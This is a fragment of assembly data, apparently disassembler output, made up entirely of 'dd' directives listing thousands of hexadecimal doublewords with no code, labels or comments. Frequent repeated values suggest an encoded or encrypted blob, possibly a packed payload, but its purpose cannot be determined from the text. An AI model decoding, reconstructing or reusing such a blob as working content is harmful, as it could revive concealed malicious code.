		dd 2D892FBEh, 70787B49h, 8003A8E5h, 4B321361h, 223811E2h
		dd 1DBE066h, 71321566h,	27607555h, 67C8C040h, 0DFF34778h
		dd 0B32669BCh, 4A4900E3h, 63B71A60h, 0F8321566h, 88321575h
		dd 7DA01C81h, 19FA1F84h, 45B73C93h, 0BA335D8Fh,	0CFCC0420h
		dd 252798E3h, 16BB1A60h, 87321566h, 443214EAh, 9B63E966h
		dd 11321567h, 616BDA67h, 4432156Eh, 57234A2Fh, 0F0C92390h
		dd 0F39B905Dh, 0C13D1368h, 22321540h, 0CBEE9506h, 3ABF1CDCh
		dd 0C1B9742Ah, 24353877h, 0EE89469Eh, 0A1CDEA99h, 0C53D4EB9h
		dd 22321560h, 0A63DE006h, 0D0974A6h, 423C6E7Fh,	220E9069h
		dd 1E521566h, 883217ECh, 4B537566h, 0A953EFD9h,	163BF8E3h
		dd 3361ED60h, 44321567h, 4269CA67h, 11269E69h, 87DB1566h
		dd 4C321566h, 4AB6B6B7h, 0F4C78A78h, 1A46262Bh,	0A0B21BD0h
		dd 0A70974F0h, 173C6E7Bh, 88189069h, 0CFCA1566h, 2535F0E3h
		dd 0A863ED60h, 77CDEA99h, 0AD6BDA4Fh, 22321572h, 9264EF4Ah
		dd 73D23CB0h, 9953131Dh, 469A3C88h, 0E1B5272Eh,	0F313905Dh
		dd 0C13D1368h, 2232155Ah, 8B79E9Eh, 61341267h, 44321576h
		dd 233D1E89h, 0F0468DC9h, 0D7A9622Bh, 0BC257215h, 0DDCDA833h
		dd 0FE1BEA99h, 8820FC3Bh, 0D2A71566h, 75679915h, 0DE4BDBD8h
		dd 0D3679D33h, 0FF308EFAh, 5917905Dh, 943D1368h, 883215EFh
		dd 4BDA4706h, 59321566h, 65D3E8F1h, 0FE2A56FEh,	50C2B86Bh
		dd 78699F15h, 0ACB1749Fh
		dd 8E3527B7h, 26B71A66h, 42321566h, 0F8E9A269h,	88321563h
		dd 0CDAB213Fh, 0A7B97498h, 17353537h, 882A9269h, 57DB1566h
		dd 0B5321566h, 90222A70h, 31D4ED12h, 0C3C969E9h, 21D437C5h
		dd 2DBAD97h, 0FB321566h, 7F6DC6A2h, 0B9ECFCE4h,	5724A972h
		dd 8236BA5Bh, 0FE60943Ch, 0DDCDEA99h, 0F868C24Fh, 8832156Fh
		dd 0C79A8B1Bh, 12464CA6h, 38B72E9Eh, 87341B1Dh,	44324DE3h
		dd 37B21A66h, 0F8321566h, 88321576h, 0E1447551h, 1C5D8A1Eh
		dd 0C3497221h, 0B7728ECCh, 40D390EDh, 2DDB1361h, 89321566h
		dd 6A16374Fh, 48801CA1h, 0F30296BEh, 0A863011Dh, 0B4977001h
		dd 5ECDCE7h, 0D3B3235Ah, 2131B17h, 8E51DCE7h, 0C5731463h
		dd 0BF5DE497h, 48FD144Bh, 0A5B72E9Fh, 4B341B1Dh, 22327AE3h
		dd 90647566h, 0F98A9EB1h, 0C7534A2Bh, 2500C4DBh, 943D1560h
		dd 8832153Eh, 4420FC9Fh, 10FB1566h, 0CB8062F8h,	6097EAEh
		dd 0D01F26F2h, 0EAE0148Eh, 3DBB90EDh, 0D8521361h, 0CF544D93h
		dd 9860749Eh, 3C5F2F6Dh, 0E0FAFFE7h, 0B6B3240Dh, 258A148Bh
		dd 9035FFA7h, 7F41B78Ch, 1EE53C67h, 0FD851A06h,	11321F8Fh
		dd 0BBD44766h, 730E9181h, 43DDA4CDh, 6A03905Dh,	0D3D1368h
		dd 443215F5h, 22359D69h, 1E521566h, 42B9EBD1h, 50B71A07h
		dd 42321566h, 1ADB4B35h, 5C321566h, 5C13D714h, 94D25B52h
		dd 9A53122Ah, 8F2934E3h, 59BC1A60h, 42321566h, 5DBDEEDh
		dd 3D321566h, 8258D29Bh, 8A8A12AEh, 7659510Bh, 212F51F9h
		dd 256B1628h, 22321C8Fh, 29F38166h, 37C3406h, 0F967B4EBh
		dd 406F01EDh, 12DFD42Bh, 0E7F7942Bh, 6DC1A13Bh,	0AA3D4889h
		dd 1132157Dh, 8826FC06h, 0E5081566h, 1A9E41D4h,	89B0CD43h
		dd 0B62D4D77h, 0DD9CC711h, 1953EC15h, 1F4920E3h, 0CDB71A60h
		dd 24321566h, 0E8851A37h, 70F19E3Fh, 0BA0790EDh, 0C13D1361h
		dd 2232157Ch, 11269069h, 87DB1566h, 1B321566h, 0F948ED4Eh
		dd 64EF8B7Eh, 0D8EEC2Ch, 0F967C7EFh, 22321567h,	0F86FFA67h
		dd 8832156Eh, 952211Ch,	0DA564DE6h, 6A0F905Dh, 0D3D1368h
		dd 4432150Dh, 0E7E69506h, 95E39400h, 35B174FCh,	423527B7h
		dd 76B71A66h, 71321566h, 8832188Fh, 0BC2EDE66h,	524A5598h
		dd 91C972A1h, 375433A0h, 0CF53043Dh, 2532A4E3h,	10B51A60h
		dd 7D321566h, 4432058Fh, 0E272F66h, 782282DEh, 7D9E2AE4h
		dd 75080A92h, 0DD8B4479h, 38CDEA99h, 53D4CA9h, 4432156Dh
		dd 96FA9406h, 1E640150h, 0B353D6D1h, 4A492CE3h,	4FB71A60h
		dd 71321566h, 88249A69h, 55DB1566h, 0CB321566h,	584E50B6h
		dd 0B186ED24h, 0A65E3ACAh, 8F60A799h, 0ACB1749Fh, 8E3527B7h
		dd 5B71A66h, 0CB321566h, 11321575h, 0F327EE9h, 0E9A90808h
		dd 0B89F818h, 0DAEE07B5h, 37F79F6h, 4339B4E3h, 9F67ED60h
		dd 0EECDEA99h, 876FFA4Fh, 443206E5h, 223CFC66h,	96BF1566h
		dd 73262DF3h, 7A4B3A59h, 24B9FCCFh, 6A73905Dh, 0D3D1368h
		dd 44321540h, 63B79E9Ah, 1E341247h, 88321DE7h, 46B61A66h
		dd 42321566h, 50FD9207h, 7103DA57h, 0CF52DA57h,	0A98D73A7h
		dd 9409741Bh, 8E3C6E23h, 442D9069h, 2D521566h, 113217ECh
		dd 0EE537566h, 2558F3DDh, 31390EDh, 43CA1361h, 883214DCh
		dd 1EE51466h, 6BB72E9Ah, 1E341B1Dh, 88323FE3h, 0C1B9E966h
		dd 24351DCBh, 11321F8Fh, 0FE5B6966h, 116B064Ah,	0CB644C14h
		dd 11321563h, 0A70294D2h, 0BB884786h, 0BCDEA99h, 2AC74FB1h
		dd 864958E3h, 78B71A60h, 2D321566h, 113211E5h, 0E9527566h
		dd 0ADB79E07h, 2D341275h, 11321FECh, 8837FC66h,	113B1566h
		dd 73A44D44h, 0EECDEADFh, 0D1FD3C99h, 44321B8Fh, 1943B366h
		dd 0D01A5B0Ah, 0A88A5A22h, 7FAA2BE0h, 2C4944E3h, 31B71A60h
		dd 70321566h, 64F390EDh, 0DE521361h, 11349E69h,	43D1566h
		dd 44321566h, 0DD8C4307h, 38CDEA99h, 0B3C74B91h, 4A4940E3h
		dd 7BB71A60h, 0F8321566h, 88321577h, 37F606AFh,	19300EDCh
		dd 92C7A061h, 0D3D17259h, 0ADCE7574h, 2232156Bh, 0F2C7007Bh
		dd 3C793A47h, 15B32284h, 0A7B9742Eh, 173524FBh,	882A9969h
		dd 0C43D1566h, 22321574h, 1132188Fh, 381A1266h,	18721758h
		dd 39D1B281h, 0AF64B4D3h, 88321567h, 0B16CE267h, 596B905Dh
		dd 943D1368h, 88321552h, 0C4537506h, 0A953BCA8h, 161264E3h
		dd 3F3D7560h, 4435FCBFh, 0B90A1566h, 0C7689498h, 35677414h
		dd 0BBCDEA99h, 0CB6FFA4Fh, 1132156Eh, 5F15A7B4h, 3AA1B808h
		dd 596F905Dh, 943D1368h, 8832153Eh, 44399B69h, 24DB1566h
		dd 47321566h, 99B0467Eh, 0CA3D7544h, 2232157Eh,	1132068Fh
		dd 953DC266h, 0ABDE5594h, 0B4914E14h, 0B1F8B147h, 237C94CCh
		dd 0CF53CFEDh, 252EF4E3h, 113DFC60h, 0FCA31566h, 0E53F372Eh
		dd 11524F65h, 33BC745Fh, 6703E0C5h, 0AB03E857h,	0DBDD9223h
		dd 0E73905Dh, 0D3D1361h, 44321548h, 223AFC06h, 0DF911566h
		dd 0CD3020E2h, 568A5EB0h, 431DE8F3h, 0CD790EDh,	53D1361h
		dd 44321563h, 0E8B97306h, 46728207h, 0E86A4A36h, 0C109749Fh
		dd 243C6E07h, 117B9069h, 3CA1566h, 431478E3h, 223FFC60h
		dd 17B51566h, 0E8C8BBD3h, 0F51756F5h, 70ACA6A7h, 113214DCh
		dd 0D2E51466h, 44139E69h, 44521566h, 0BC85D7E7h, 8832018Eh
		dd 2C47DE66h, 8D8C532Fh, 8F417D19h, 93C3B1A0h, 64B351B5h
		dd 19534CCFh, 1F4988E3h, 0DB71A60h, 0AD321566h,	22321561h
		dd 11AC7019h, 0B782A16h, 4A49B0DBh, 0A73D1560h,	11321554h
		dd 883A9E69h, 0C93D1566h, 22321564h, 0ACB17406h, 8E353387h
		dd 15B61A66h, 0CB321566h, 11321574h, 0E639A51Dh, 76CC4F3Fh
		dd 9976284Bh, 73BE5F80h, 0DB968F6h, 42353FB3h, 0FC8D1A06h
		dd 108F4007h, 89321566h, 49DB4889h, 73321566h, 0B11AC277h
		dd 0F86522BEh, 0E9662C2Ah, 223EFC06h, 0F5A81566h, 0F42B068Ah
		dd 0CB0D0EBBh, 43CB4F44h, 6A93905Dh, 0D3D1368h,	44321504h
		dd 22389A69h, 0A8521566h, 824F91B7h, 2552DDE6h,	5997A8E5h
		dd 1E321368h, 883226E3h, 0A4B37566h, 34E82CD5h,	9253F7ECh
		dd 8F14F4DBh, 0C03D1560h, 22321548h, 0F8A4A506h, 88321575h
		dd 0F188D8EDh, 9383604Ch, 0B1043853h, 0F48F3600h, 25440B67h
		dd 227B90EDh, 47CE1361h, 883214D8h, 1AC51466h, 0A709E99Ah
		dd 173C6E03h, 881D9069h, 0C03D1566h, 2232157Eh,	1132068Fh
		dd 6D83366h, 71DFCF3h, 4BC69A47h, 7F7FBB78h, 5B3C8BCDh
		dd 746F90EDh, 70CB1361h, 0EECDEADCh, 0D2E53C99h, 2DB72E93h
		dd 2D341B1Dh, 113259E3h, 883BFC66h, 59981566h, 0D69C5299h
		dd 9A1D4318h, 8F1E40E3h, 0C03D7560h, 22321565h,	0F8FDF9E6h
		dd 8832156Eh, 61FDC48h,	11393612h, 0EE8F4007h, 0A1CDEA99h
		dd 56DB4889h, 15321566h, 0D590B534h, 5180F1C6h,	0ADCA9826h
		dd 0D72F2DD2h, 7CB72E3Dh, 87341B1Dh, 44320FE3h,	44CB7566h
		dd 2331D2E7h, 0DB9E907h, 42350B2Bh, 0DD8F409Eh,	38CDEA99h
		dd 0B3CE4889h, 4A4964E3h, 78B71A60h, 0E8321566h, 9EC390EDh
		dd 0CD3D1361h, 2232156Ch, 1132108Fh, 0B3782A66h, 2452FBE9h
		dd 0A03DCCEDh, 11321566h, 9BDB7507h, 57321566h,	0D6F57285h
		dd 0B09FF1C7h, 0E84E7345h, 41E57163h, 4353AAA7h, 1133AF34h
		dd 5F331566h, 48DB753Ch, 5321566h, 67CCA324h, 0F4859FDh
		dd 0BDAAEA2Eh, 57B72E07h, 1E341B1Dh, 883257E3h,	0C1B9E066h
		dd 24353A93h, 11321D8Fh
		dd 0F354FD66h, 0DF2870E5h, 238F40F6h, 10321566h, 84DB4889h
		dd 0F1321566h, 0D73E70C3h, 7970CC32h, 61FA1A3Ah, 44321569h
		dd 6179C9F4h, 304AE23Bh, 97E3D950h, 7F99DF57h, 2C496CE3h
		dd 2FB71A60h, 71321566h, 51BF90EDh, 2D521361h, 113213E6h
		dd 88B61A66h, 0BC321566h, 0A3C59207h, 0EECDEA88h, 87C59299h
		dd 443201E0h, 223DFC66h, 0AD941566h, 9766766Eh,	1233913Ch
		dd 5D1488BEh, 0C282757Fh, 87CD1E07h, 443203E2h,	9D3D7566h
		dd 1134FC97h, 6B91566h,	18E2CC2h, 0CEBEFC07h, 2ACBEA99h
		dd 8F340CE3h, 35B71A60h, 42321566h, 8CF19400h, 3F3D75A4h
		dd 44BE1A90h, 43321566h, 113CFC07h, 75381566h, 17676550h
		dd 0B1D54DAFh, 0FB3A581Eh, 0AA1590EBh, 4FDB1368h, 0C6321566h
		dd 0A387A72Eh, 913CD166h, 0AD529047h, 22321575h, 2F6210E2h
		dd 18EA6644h, 28825315h, 9217350Bh, 90950593h, 5D120AAEh
		dd 5BDB7425h, 2DCDEA8Ah, 11321EE3h, 4C887566h, 227E6014h
		dd 43F688D8h, 0BD7905Dh, 0D3D1361h, 443215E7h, 2232108Fh
		dd 77163366h, 35B10399h, 423C6FA3h, 48B71A67h, 1E321566h
		dd 88321FECh, 83B87566h, 22329069h, 1E531566h, 88321EE2h
		dd 0CF547566h, 22B61AB8h, 70321566h, 835590EBh,	0C93D153Fh
		dd 22321574h, 1132188Fh, 37897E66h, 0EF80BB5Bh,	0D13478C4h
		dd 0B6DBE554h, 74CDEA8Dh, 71DC9506h, 22BF1A06h,	0F9321566h
		dd 88321574h, 246F17BBh, 848A4BAh, 1D8CB0C2h, 32F4A902h
		dd 256ACE96h, 0F7B72E07h, 1E341B1Ch, 883203E2h,	0C109E966h
		dd 243C6FBFh, 113D9069h, 3521566h, 5A91ADB7h, 0CB534742h
		dd 0EECDFE3Ch, 88327D9Eh, 70B91566h, 26F69442h,	0F8321566h
		dd 8832156Dh, 225EE68Eh, 0F595CE91h, 92507688h,	0D3D1498h
		dd 44321586h, 0E4B97306h, 9409ED07h, 8E3C6FAFh,	440D9069h
		dd 0CB521566h, 11321575h, 4B9B9D9Fh, 0A970694Eh, 1785FAF1h
		dd 0E1693C35h, 0E82CCA54h, 6D78AB00h, 4395F1E6h, 0D5B79807h
		dd 0E8324DE1h, 44BF1A06h, 44321566h, 9153C2EDh,	6153C397h
		dd 0BBCDFF84h, 0EFB72E9Ah, 1E341B1Ch, 883250E3h, 4439FC66h
		dd 48EC1566h, 0A1EA8621h, 2CFC96E8h, 7EB7981Fh,	0CB324DEEh
		dd 1132156Dh, 989DDC36h, 0B0AB3C37h, 0CB2E6A65h, 0EECDFFCCh
		dd 88269A69h, 0C13D1566h, 22321568h, 11321C8Fh,	0D14D7366h
		dd 0A823D1FFh, 0A70986C8h, 173C6FB7h, 88009069h, 0F5521566h
		dd 0CAB373F5h, 9C53D978h, 0D0BA6AE3h, 45B81A66h, 0DA321566h
		dd 0EED87C8Fh, 8820FC99h, 6E2C1566h, 234B2D46h,	0CE695B97h
		dd 0BC530A67h, 973D9887h, 2236F9E7h, 15BB1566h,	8524D42h
		dd 13531B94h, 8F420B0Eh, 0F6B34A2Fh, 0B5C660CEh, 0C5E5E221h
		dd 79BDE189h, 4ECC9C90h, 87C41E93h, 44323FE3h, 2CBB1A66h
		dd 71321566h, 88329469h, 82B31566h, 69990E15h, 0F8D0FC07h
		dd 53DEA99h, 4432156Dh,	2232138Fh, 3C07A466h, 0D854B550h
		dd 0D1639E7h, 0A9098159h, 0D5B33152h, 88321562h, 7B7BD3E7h
		dd 2EDB2EF2h, 96321566h, 1833A309h, 0C5EF4764h,	0AB68B6D9h
		dd 16278CD3h, 883DFC60h, 0D0301566h, 0E30459F1h, 3A0B182Ch
		dd 1C2E52FBh, 39879CBFh, 2D34124Dh, 11320FE5h, 0D1647566h
		dd 4432048Fh, 0ADEFDD66h, 1A2D9EB6h, 47AF7639h,	7A2DDCFh
		dd 0A253F936h, 943DFC58h, 8832158Ch, 7BE49506h,	22321A8Fh
		dd 9A6C6266h, 0C189589Bh, 0E37F04E1h, 9B71124Fh, 1044EA07h
		dd 0DFF7AD36h, 330E53h,	7D6A1142h, 46F7FAE7h, 9CB0E53h
		dd 7D3BF089h, 6ADD942Ch, 10606D1Ch, 0C0F59491h,	0C5606D1Ch
		dd 1B3BF0A1h, 10BC1A2Ch, 7D321566h, 4436F9E7h, 16BB1566h
		dd 0F9524E42h, 8832156Eh, 0D096AEF4h, 6B67D367h, 436C7406h
		dd 88329469h, 256A1566h, 0B78C4331h, 981E623Dh,	6FB34B91h
		dd 7EA2627Ah, 0CEDED2E7h, 0EA33C289h, 90B71A39h, 24321566h
		dd 2232198Fh, 17B42D66h, 0C11E21E0h, 4DAA1F74h,	8AA5ACDBh
		dd 2A537110h, 8F278CDBh, 58B01A60h, 0DB321566h,	1EC92E9Ah
		dd 88323CE0h, 48B31A66h, 2D321566h, 113213E6h, 88BF1A66h
		dd 0AD321566h, 0DDCDFDEEh, 1132188Fh, 0B8CEE866h, 7DE6E636h
		dd 0A1147C6Ah, 0ACB9C900h, 8E350AD3h, 443F9169h, 2ADB1566h
		dd 0B6321566h, 0A1FEBBC9h, 835667A8h, 253204E3h, 11321560h
		dd 8837FC66h, 0B811566h, 424C8F57h, 0AF547506h,	66B2A2D0h
		dd 56DB7472h, 0CA321566h, 5EAD8DC6h, 169CC40Bh,	0A753C1FDh
		dd 622A080Bh, 0A4BB74F4h, 8E353E1Bh, 1AAF989Eh,	0D7341A65h
		dd 0DBC699h, 1321566h, 0FFEB5AADh, 0BCF8D703h, 503B3179h
		dd 69B7B1ECh, 0C03DD56Dh, 2232157Dh, 11B2FC9Eh,	98DB1566h
		dd 2F321566h, 0AA59221Ah, 0EB182D7Dh, 0BCEEE0C2h, 0C9C51CD4h
		dd 2EB8F8FBh, 51857560h, 0E9F8AA69h, 0C73DC699h, 0DDCDEAC4h
		dd 11359D69h, 0D3D1566h, 44321567h, 0A354759Ah,	7753E394h
		dd 0E9B532D9h, 6F4FA0EDh, 2D521361h, 113213E0h,	8EE29466h
		dd 0BD2A6690h, 33879C07h, 71341266h, 67B3EBECh,	721C5194h
		dd 56AF9807h, 0ED3418E9h, 53DC699h, 4432156Ch, 0DC8D1A06h
		dd 45475CDDh, 0DB97456h, 423500FFh, 0C5E39506h,	11321D8Fh
		dd 40811E66h, 0B6DD79ACh, 0A7BB746Ch, 17353E1Bh, 8832068Fh
		dd 0FE730C66h, 1E9C8A57h, 7A91CB67h, 0ABEB3232h, 0E298CA38h
		dd 2221FC06h, 8D121566h, 2B47108h, 51F8D6A5h, 51162C1Ah
		dd 0C79C4C7Ch, 558C7308h, 0B853746Eh, 2DDA2BE6h, 11334FE3h
		dd 8822FC66h, 0D43F1566h, 5E6C3B38h, 930352DEh,	0EDF7B451h
		dd 0F9B1C50Ah, 24351DD3h, 29B61A66h, 0E8321567h, 4432198Eh
		dd 4051FB66h, 2845BEABh, 533F197Bh, 443DFCA3h, 0C8C61566h
		dd 0CB146B22h, 0D1006702h, 53C85AF0h, 36DB4E73h, 6D321566h
		dd 0AA91929Dh, 0FCC31680h, 0EDF78684h, 9C5D5107h, 0E90223DBh
		dd 0BA66A437h, 55D395A7h, 91A3F4E6h, 40BACDA7h,	0C71619EDh
		dd 32DB11A2h, 89321566h, 73C83E36h, 87B9C1F3h, 21F0E134h
		dd 0BB55314Bh, 0E9527506h, 4432198Fh, 0AC9D9266h, 2298AFA6h
		dd 0FB42910Dh, 0CA3D74C0h, 22321564h, 47537406h, 0F379AF34h
		dd 103362D7h, 7A681142h, 0A0495E4Bh, 9CB41A11h,	0AD321566h
		dd 22321569h, 96B68515h, 0EA0D0D84h, 0E408D9F7h, 748C779Ch
		dd 0E4FB0D8h, 9ECE255h,	11640E88h, 21D4D468h, 0FFB3F3B7h
		dd 0CDEC7F96h, 44DDD3E7h, 0D233945Bh, 3CCA3C38h, 0AC234C99h
		dd 0F967469Fh, 5FE552D4h, 398A47DDh, 0D5D914E4h, 0BD69CD4Fh
		dd 22259169h, 3DB1566h,	16321566h, 8DA23B1Eh, 5D857C89h
		dd 153C5CC6h, 0AB84645Dh, 4EDBBEABh, 89321566h,	82A2ADF9h
		dd 0EA704E15h, 465BFCD0h, 2EDB1566h, 53321566h,	3932F090h
		dd 9ED65D30h, 0AFC9DD2Ch, 1FD5A9FBh, 89B81A60h,	0B8321566h
		dd 2FDBC699h, 2321566h,	762B2063h, 0C5AA0711h, 0B083114Ah
		dd 0C3AF989Fh, 0E8341B9Bh, 4432188Fh, 0A162F566h, 0B09BF38Eh
		dd 3A65ECE1h, 2262B81Ch, 436DCAEDh, 11321D8Fh, 678B1366h
		dd 0F50BC3Fh, 0DAE1EAFFh, 1132018Fh, 0A669DA66h, 0FA755F7h
		dd 15E7405Ch, 3373E4ACh, 97AD3D6Ah, 4BF21E59h, 22320EE3h
		dd 1139FC66h, 0F0CA1566h, 0DB3BBF9Eh, 1FC93750h, 1128FC54h
		dd 0EE521566h, 25CAD2EDh, 94F90E5h, 0E4371361h,	77CC168Fh
		dd 45B21A99h, 0DB321566h, 116488EBh, 9BDB1369h,	89321566h
		dd 36B4F319h, 191E8DFh
		dd 0C9EF87C3h, 60912470h, 0F1CD81EBh, 1132188Fh, 95252766h
		dd 0D9D6842Ch, 1FBCBCh,	1ACA32E6h, 0B0B71AA6h, 4B321566h
		dd 223206E2h, 113CFC66h, 9DCA1566h, 3947DB84h, 4EE3AE93h
		dd 8F14EFFAh, 88327C8Fh, 50BB1A66h, 0CB321566h,	11321569h
		dd 369CA46Eh, 269AF221h, 0BC894932h, 462CE078h,	883211D9h
		dd 2F09466h, 230BBE2Eh,	57D8949Ch, 0D70BBE2Eh, 44321F8Fh
		dd 19A7A566h, 6C3D2266h, 874BAAF1h, 44321DECh, 20B71A66h
		dd 71321566h, 893FFC07h, 57DB1566h, 0EE321566h,	0F53664FFh
		dd 889413C0h, 821F90CEh, 55F88EFh, 8CBF81BEh, 8E3E9F8Bh
		dd 443A9669h, 0A93D1566h, 11321564h, 5BCD7406h,	440C9669h
		dd 0AE3D1566h, 1132156Ah, 88349369h, 0CA3D1566h, 22321566h
		dd 3A4FA0EDh, 3521361h,	57DA95B7h, 125DFC07h, 0F9521566h
		dd 8832156Bh, 0E9FFA6Bh, 0EC32C967h, 689D7D4Dh,	0D1FD9ED8h
		dd 0BD5366D3h, 94F98EDh, 1E521361h, 883216E8h, 93B97366h
		dd 223F9369h, 19DB1566h, 0EA321566h, 0E2EC6F2Bh, 4370550Eh
		dd 1132138Fh, 0F8677266h, 0CDC0995Ch, 251968D3h, 0D0B3EC60h
		dd 8095692Bh, 0FE60E44Fh, 2ED02B85h, 533AF7A7h,	177EE7E7h
		dd 951BFFFFh, 0F3B5ED3Ch, 0C003CF91h, 5903DF57h, 4CB31A9Eh
		dd 2D321566h, 113217E3h, 9537566h, 0CE194388h, 71FC3C22h
		dd 9B1943DDh, 0D3EC1422h, 4B96E69Ah, 223214EFh,	44DBED66h
		dd 87CDEA9Ah, 44321FE0h, 78627566h, 11329669h, 5531566h
		dd 49A00CFBh, 28BA1A60h, 71321566h, 0A0C49400h,	8FB9733Bh
		dd 34B71A07h, 0F8321566h, 88321577h, 7B4DC960h,	4B829CE5h
		dd 2339E04h, 6D54EFBAh,	4BE1EAD6h, 22321AEEh, 1138FC66h
		dd 0C4581566h, 1C38C7FDh, 1A4CEB88h, 43C99C35h,	58BBCFEFh
		dd 57DB4E3Ch, 0D321566h, 13830178h, 72774B8Fh, 23CF0033h
		dd 0F3B086D7h, 9419A313h, 8E350AD3h, 4432188Fh,	1B549366h
		dd 0A4CB8038h, 21B06ED1h, 4BDB6A43h, 8F321566h,	3D7FC1B1h
		dd 9CF5D2F6h, 9AF3572Eh, 0A7BB9585h, 17353923h,	88339169h
		dd 0CFCB1566h, 252DA0E3h, 90547560h, 0E8D637B7h, 4432018Fh
		dd 3EEEC866h, 3382497Dh, 5C2279C3h, 0E5CB8C62h,	0C7E452D1h
		dd 11BD1A46h, 0E9321566h, 6F267D07h, 1EBB1566h,	9A547542h
		dd 164749Eh, 40F49480h,	0A3321566h, 11321188h, 0AC069266h
		dd 60369C3Ah, 82BF989Ah, 0F83418F2h, 88321572h,	797C2E4Dh
		dd 2E6CAB81h, 0BC1656E2h, 22B49187h, 0A75E0B11h, 0A93DC499h
		dd 11321571h, 87DBE006h, 5F321566h, 0BCECB724h,	70E402Dh
		dd 0BCC7F9A0h, 0CF533A33h, 252D8CE3h, 1134FC60h, 6B501566h
		dd 3A1FD842h, 21BE1A06h, 77321566h, 0B78AEEEDh,	252289A6h
		dd 2226D50Eh, 35369C66h, 88321B8Fh, 47511066h, 1B93B6FAh
		dd 3BB15F71h, 0DEC52A75h, 82B3F3EFh, 22321562h,	9636FBE5h
		dd 16E3152h, 0CD3D315Ah, 22321567h, 0A4B79E9Ah,	87341279h
		dd 443200E5h, 2222FC66h, 4E891566h, 0B9E42E35h,	77B49A05h
		dd 78D3BEE1h, 9862A250h, 88361086h, 0ACB11566h,	6369262h
		dd 35369C3Ah, 71B97306h, 90BF9807h, 0CB3418F3h,	11321574h
		dd 98735A25h, 0CC5EA875h, 1B16DAA4h, 33298F5Ah,	59CD0708h
		dd 40BD1A06h, 44321566h, 1E3CB3DCh, 883215E3h, 705A7466h
		dd 0AB32152Fh, 71683162h, 0AB37AE00h, 1B624207h, 426DECEFh
		dd 331BAD00h, 0E823C1D8h, 0C919743Dh, 24350AFFh, 11289569h
		dd 61521566h, 44321568h, 0CEA397B5h, 39E74948h,	0C4BC96A8h
		dd 88E999h, 432067F8h, 12BBA8E5h, 87321361h, 4432CDE2h
		dd 0A43D7566h, 11321560h, 88329969h, 0CF541566h, 0A7B974ACh
		dd 17350177h, 882F9D69h, 0CC3D1566h, 22321571h,	1132078Fh
		dd 0C5905E66h, 4923D25Ch, 8DD963E8h, 1D942F44h,	0A3605C0Ah
		dd 43319CE3h, 2EB61A60h, 0F8321566h, 88321561h,	0D2BA15A0h
		dd 195D5ECEh, 6FB41AA7h, 87321566h, 44321CEDh, 0A3547566h
		dd 9A97E18Eh, 0DB974A0h, 42351AB3h, 223AFD06h, 0D5C41566h
		dd 91B400D2h, 0C554044Fh, 7DD09196h, 98B71607h,	0E8341265h
		dd 59CDCAE7h, 43CB2572h, 1D1F90EFh, 3D1361h, 44321546h
		dd 22B91A06h, 0F8321566h, 88321575h, 6BB3F87Ah,	22B6EE4Dh
		dd 2617E480h, 0EC1C51FCh, 259AF620h, 203FFC9Ah,	1FDB1566h
		dd 0C0321566h, 0E3069A07h, 0F9CF7440h, 0E1771933h, 0CBBA7D9Ah
		dd 48BB1566h, 0CEB1E042h, 353E9C62h, 8837FC3Eh,	88081566h
		dd 7103FB73h, 113214DDh, 0D3EA3C66h, 8DB3ED06h,	112B3945h
		dd 1120FC07h, 9BE41566h, 0A8AD2A4Dh, 0BC0ACA5Ah, 0C54F79Bh
		dd 30D6E365h, 0CD36F9E5h, 4589317Ah, 0D01B1120h, 979168Dh
		dd 64B52195h, 79EA1C63h, 17B21A06h, 87321566h, 443215E1h
		dd 7153EC66h, 0CB045DDDh, 0CEF9945Ch, 0C51EFC1Eh, 8F65D9A5h
		dd 0F6F19414h, 897C424Fh, 0CDC74EBEh, 252604E3h, 1120FC60h
		dd 8C9D1566h, 0DAB34F6Ch, 0B5B390E2h, 0FB0601D5h, 0B55C7262h
		dd 44339569h, 23CA1566h, 1636B4E3h, 8822FC60h, 53FD1566h
		dd 0D4B5CDF6h, 0C686B76h, 8BF51909h, 41DBC086h,	24321566h
		dd 7BD8EF3Eh, 8BBB90A1h, 44321361h, 0A33D1566h,	1132157Fh
		dd 8823FD06h, 518C1566h, 0D6F180EEh, 0C856C2DBh, 0BB42D194h
		dd 1EA2BA2Fh, 0CB727F07h, 1132156Fh, 55EE395Fh,	550A1D5Dh
		dd 32327D9Eh, 47521566h, 88329A69h, 0C46D1566h,	77530DA8h
		dd 0D4B3F0EFh, 88321562h, 4436F8E7h, 0EB51566h,	1DBB4942h
		dd 883EFC42h, 78531566h, 6888F504h, 0F8D1A84Eh,	3DBD5Bh
		dd 44321568h, 22321C8Fh, 0AC14AE66h, 0C7A55867h, 44580093h
		dd 2232048Fh, 754A5166h, 4C3BF47Eh, 7FC9B5E7h, 0D6CE3498h
		dd 84CD97A2h, 8E350BDFh, 84B37306h, 0A33DC2C7h,	11321563h
		dd 0ED8E4CDFh, 0D1CD7476h, 24353243h, 0F8B37306h, 98DB9AB8h
		dd 0E4321566h, 601D77C3h, 60EE3588h, 0EC2EE277h, 25E6E1EAh
		dd 2DE790EFh, 993D1361h, 88321568h, 4435FC06h, 7D3C1566h
		dd 5E7EEB2Ah, 0C3D7436h, 44321574h, 2232188Fh, 9A10B366h
		dd 0EE332127h, 9B4E46D4h, 0A7BBEC1Eh, 1735194Bh, 99E5AE06h
		dd 0BB53442Ah, 0A36B3152h, 113211A2h, 8837FC66h, 0BECB1566h
		dd 0DD7A61F7h, 163E38D3h, 3DCDE060h, 42350AFFh,	223E9269h
		dd 9C3D1566h, 88321560h, 44329F69h, 0AB651566h,	15F59481h
		dd 0B321566h, 78B51189h, 1EBB4942h, 4B11A42h, 87321566h
		dd 44321AE9h, 2238FC66h, 0B41B1566h, 8BE7CC47h,	0AD335408h
		dd 43DC9F06h, 0E87A099h, 73D1361h, 44321567h, 70B7989Eh
		dd 0E93418CBh, 88389169h, 4B521566h, 223215E2h,	70537566h
		dd 89CBC599h, 43319CEBh, 2EBE1A60h, 1E321566h, 883213E2h
		dd 44B41A66h, 0A9321566h, 163E38DBh, 62897560h,	0AC385884h
		dd 22321575h, 50A83729h, 0A60A9AD3h, 0EC63F436h, 0EC77BFDAh
		dd 0F86C0570h, 8832156Eh, 9F1E6BECh, 6B0812BCh,	9AC7743Ch
		dd 8F2D8CD3h, 4426FC60h, 0F9191566h, 0D6B6452Dh, 0F051192Dh
		dd 2506F45Bh, 41396625h, 0B5C111CFh, 882A9D69h,	57DB1566h
		dd 7C321566h, 0E08F43EAh, 9A29BF34h, 91FC1792h,	0AF0161B4h
		dd 0A4B971DFh, 8E3534D3h, 4432018Fh, 31628566h,	1C12909Bh
		dd 0D1FAAD41h, 472E710Ah, 1EFC181h, 9A52B864h, 8753E994h
